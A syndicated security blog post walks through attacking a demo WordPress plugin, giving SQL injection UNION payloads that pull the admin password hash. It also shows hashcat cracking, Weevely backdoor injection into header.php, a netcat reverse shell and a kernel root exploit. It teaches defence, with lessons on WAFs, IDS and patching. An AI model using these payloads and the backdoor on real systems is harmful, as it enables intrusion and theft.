Exploiting SQL Injection: a Hands-on Example

In this series we will be showing step by step examples of common attacks. We will start off with a basic SQL injection exploitation of a web application and then privilege escalation to O.S root.

SQL Injection is one of the most dangerous vulnerabilities a web application can be prone to. When a user’s input is being passed unvalidated and unsanitzed as part of an SQL query that means that the user can manipulate the query itself and force it to return different data than what it was supposed to return. In this article, we will see how and why this is so dangerous.

Example of vulnerable code

Before getting our hands on the exploitation, let’s first quickly see what SQLi is. Let’s suppose that we have a web application which takes the parameter “article” via $_GET request and queries the database to get an article’s content.

http://acunetix.php.example/show.php?article=1

The underlying PHP code is the following:

// The ”article” parameter is assigned to $article variable without any sanitization or validation
$articleid = $_GET[‘article’];
// The $articleid parameter is passed as part of the query
$query = "SELECT * FROM articles WHERE articleid = $articleid";

A typical page in this web application would be the following:

EXploiting SQL Injection

If a user changes the article parameter to 1 AND 1=1 then the query becomes like this:

$query = "SELECT * FROM articles WHERE articleid = 1 AND 1=1";

In this case, the content of the page does not change because the two conditions in the SQL statement are both true. There is an article with an id of 1, and 1 equals to 1 which is true.

SQL Injection exploitation

If a user changes the parameter to 1 AND 1=2, it returns nothing because 1 is not equal to 2.

Exploiting SQL injection

That means that the user is controlling the query and can adjust it accordingly to manipulate the results. More detailed information on SQL Injection.

The Attack

Let’s see step by step how dangerous the exploitation of an SQL Injection can be. Just for the reference the following scenario is done on a Linux machine running Ubuntu 16.04.1 LTS, PHP 7.0, MySQL 5.7 and WordPress 4.9.

For the purposes of this demonstration we have performed a security audit on a sample web application. During our pentest we have identified a plugin endpoint which appears to be accepting, via $_GET request, the ID of a user and is displaying their username.

http://acunetix.php.example/wordpress/wp-content/plugins/demo_vul/endpoint.php?user=1

The endpoint is directly accessible which could indicate “loose” security. The first thing someone would do is to manipulate the entry point (user input – $_GET parameter) and observe the response. What we are looking for is to see if our input changes in anyway the output of the application. Ideally, we want to see an SQL error which could indicate that our input is parsed as part of a query. There are many ways to identify whether an application is vulnerable to SQL injection. One of the most common and simple ones is the use of a single quote which under certain circumstances “breaks” the query:

http://acunetix.php.example/wordpress/wp-content/plugins/demo_vul/endpoint.php?user=1’

The MySQL error we get confirms that the application is indeed vulnerable:

SQL Injection exploit

At this point it is almost certain that soon we will be able to exfiltrate data from the web application’s backend database. If our input is being parsed as part of the query that means that with can control it. If we can control the query, then we can control the results.

We have identified the SQL injection vulnerability, now let’s proceed with the attack. We want to get access to the administration area of the website. Let’s assume that we don’t know the structure of the database, or the admin has used non-default naming/prefix during the installation of WordPress. We need to find the tables’ names to be able to grab the admin’s password later.

To do that we first need to find how many columns the current table has. We will use column ordering to achieve that. “ORDER BY” is used to set the order(sort) of the results. Ordering can be done either by column name or by column number. If the ORDER BY number we pass in the parameter is less that the total number of columns in the current table then the output of the application should not change as the SQL query is valid. If however the number we input is larger than the total number of the columns then we will get an error as there won’t be such column number to order the results by. In our case, we have identified 10 columns:

http://acunetix.php.example/wordpress/wp-content/plugins/demo_vul/endpoint.php?user=1+ORDER+BY+10

Hello admin

If we use a higher number, we don’t get any results:

http://acunetix.php.example/wordpress/wp-content/plugins/demo_vul/endpoint.php?user=1+ORDER+BY+11

Depending on the setup, we might get an error:

Now that we know how many columns the current table has, we will use UNION to see which column is “vulnerable”. UNION is used to combine results from multiple SELECT statements into a single result. “Vulnerable” is the column whose data is being displayed on the page.

http://acunetix.php.example/wordpress/wp-content/plugins/demo_vul/endpoint.php?user=-1+union+select+1,2,3,4,5,6,7,8,9,10

As we can see, the number “10” is being displayed on the page which means it’s “vulnerable”:

We can confirm this by replacing it with version() which will show the MySQL version:

http://acunetix.php.example/wordpress/wp-content/plugins/demo_vul/endpoint.php?user=-1+union+select+1,2,3,4,5,6,7,8,9,version()

Next, we need to find the table names which we will then use to exfiltrate data:

http://acunetix.php.example/wordpress/wp-content/plugins/demo_vul/endpoint.php?user=-1+union+select+1,2,3,4,5,6,7,8,9,(SELECT+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())

group_concat() function concatenates results into a string. Information_schema is a database which stores information about other databases. database() returns the name of the current database.

SQL injection exploit

Now that we have the table structure, we can query the database to get the admin’s credentials from the table wp_users.

http://acunetix.php.example/wordpress/wp-content/plugins/demo_vul/endpoint.php?user=-1+union+select+1,2,3,4,5,6,7,8,9,(SELECT+user_pass+FROM+wp_users+WHERE+ID=1)

Hello $

Bingo. We have the admin’s password hash; however we cannot currently use it. In order to find the plaintext password of this hash, we will use a well known password recovery software named hashcat to crack it. There are various methods of cracking a password; we will try the “Dictionary” attack with a relatively small list containing 96 million passwords.

After downloading hashcat as well as the password list, we run the following command:

hashcat64 -m 400 -a 0 hash.txt wordlist.txt
-m = the type of the hash we want to crack. 400 is the hash type for WordPress (MD5)
-a = the attack mode. 0 is the Dictionary (or Straight) Attack
hash.txt = a file containing the hash we want to crack
wordlist.txt = a file containing a list of passwords in plaintext

We’ve been lucky and were able to recover the password within a few minutes. The recovered password is 10987654321:

SQLi exploit

Unless any sort of two factor authentication is in place, the admin’s password should be sufficient to access the website’s backend. Once we do that, the options are limitless.

It is important to note that at the current stage we have full admin access to the website’s backend which means we can access any page/post either private or not and export all the data including the users, and pretty much do anything we want. Let’s see how far we can get.

dashboard

There are third party WordPress plugins which could allow us to execute shell commands or upload new files however we will avoid that. What we are going to do is use Weavely, a popular lightweight PHP backdoor to further escalate this attack.

After downloading and unpacking the software, we will first create an agent which will be injected into the WordPress site and which will give us the ability to execute system commands under the low-privileged webserver account (www-data).

The following command will create a file which must be uploaded on the target system.

secuser@secureserver:~/weevely3-master# ./weevely.py generate abcd123 agent.php
--> Generated backdoor with password 'abcd123' in 'agent.php' of 1332 byte size.

Instead of uploading the file, we will use WordPress’ existing template files to inject the contents of agent.php. We navigate to the Appearance editor (which is by default enabled) and inject the code of agent.php into the header.php file :

Now the backdoor agent is in place and what we need to do is initiate a connection to it from our local computer. Since we have injected the agent into the theme’s header, we can specify any WordPress page as a target, since the header is included in all the template files.

Usage: ./weevely.py [URL] [AGENT_PASSWORD]
root@secureserver:~/weevely3-master# ./weevely.py http://acunetix.php.example/wordpress/ abcd123

As we can see below, we have successfully initiated a connection to our backdoor agent. Running the id command returns the current user which is www-data. We also see that the hostname is “windoze“ and the current working directory is “/var/www/html/wordpress“:

On the victim’s side, this is what the requests sent to the backdoor look like in the log:

On our local machine we also start a Netcat listener so that we can create a reverse shell connection from the target to our computer:

root@secureserver:~/weevely3-master# nc -l -v -p 8181
listening on [any] 8181 ...

SQL injection exploitation

We now send the following command to our backdoor agent to initiate a reverse shell connection:

www-data@targetmachine:/var/www/html/wordpress $ backdoor_reversetcp 192.168.2.112 8181
w/html/wordpress $

The Netcat listener shows that a connection has been established:

We now have a low privileged shell on the target machine. What we want is to escalate our privileges and get root access. The “uname -a” command returns enough information for us to proceed with the attack. We are interested in the kernel version.

We have found a privilege escalation exploit which works on this Kernel version(4.4.0.31). We download and compile on our local machine.

privilege escalation exploit

Now using our reverse shell connection, we will download the exploit on the target machine.


We grant the execute permission on the exploit by running “chmod +x chocobo_root” and then we run it :

After a few moments, the privilege escalation is successful, and we can see that we are running under the root account:

At this point, we have full root access to the target machine which means that the security triangle of Confidentiality, Integrity and Availability has been completely compromised. This for an organization can be disastrous as an attacker can:

  • Read/Edit/Delete confidential/private files on the server which may include
    * Emails
    * Files containing passwords
    * SSL Certificates
    * Databases with data of third parties which may contain sensitive information such as Credit Card Numbers, Addresses, Names, Telephones.
    * Financial information such as invoices, payroll, and agreements.
    *Private images or videos
  • Use the machine to attack/access other computers/servers internally (pivoting)
  • Use the machine to deliver malware to users
  • Create new users, monitor traffic etc

It is important to note that the machine was running on a default setup without any changes which would allow us to perform the attack easier.

A list of factors played critical role to the successful exploitation of this attack:

  • The web application was vulnerable to SQL Injection, one of the worst vulnerabilities an application can be prone to. A vulnerability scanning tool would have detected it and give information on how to fix it.
  • There was no WAF (Web Application Firewall) in place to detect the SQL Injection exploitation. A WAF could block the attack even if the application is vulnerable.
  • There was no Intrusion Detection or Intrusion Prevention system in place. Many IDS’ keep a database with hashes of all the files on a system. If a file is modified its hash changes and it raises a red flag by notifying the administrator for potential malicious activity. This means that changes done to header.php (Weavely backdoor injected) could have been detected.
  • The O.S was not up to date which allowed the privilege escalation to be successfully exploited.

Using an automated scanner like Acunetix, allows you to easily identify critical vulnerabilities in your code which can put your Web Application and/or server at risk.



This is a Security Bloggers Network syndicated blog post authored by Agathoklis Prodromou. Read the original post at: Web Security Blog – Acunetix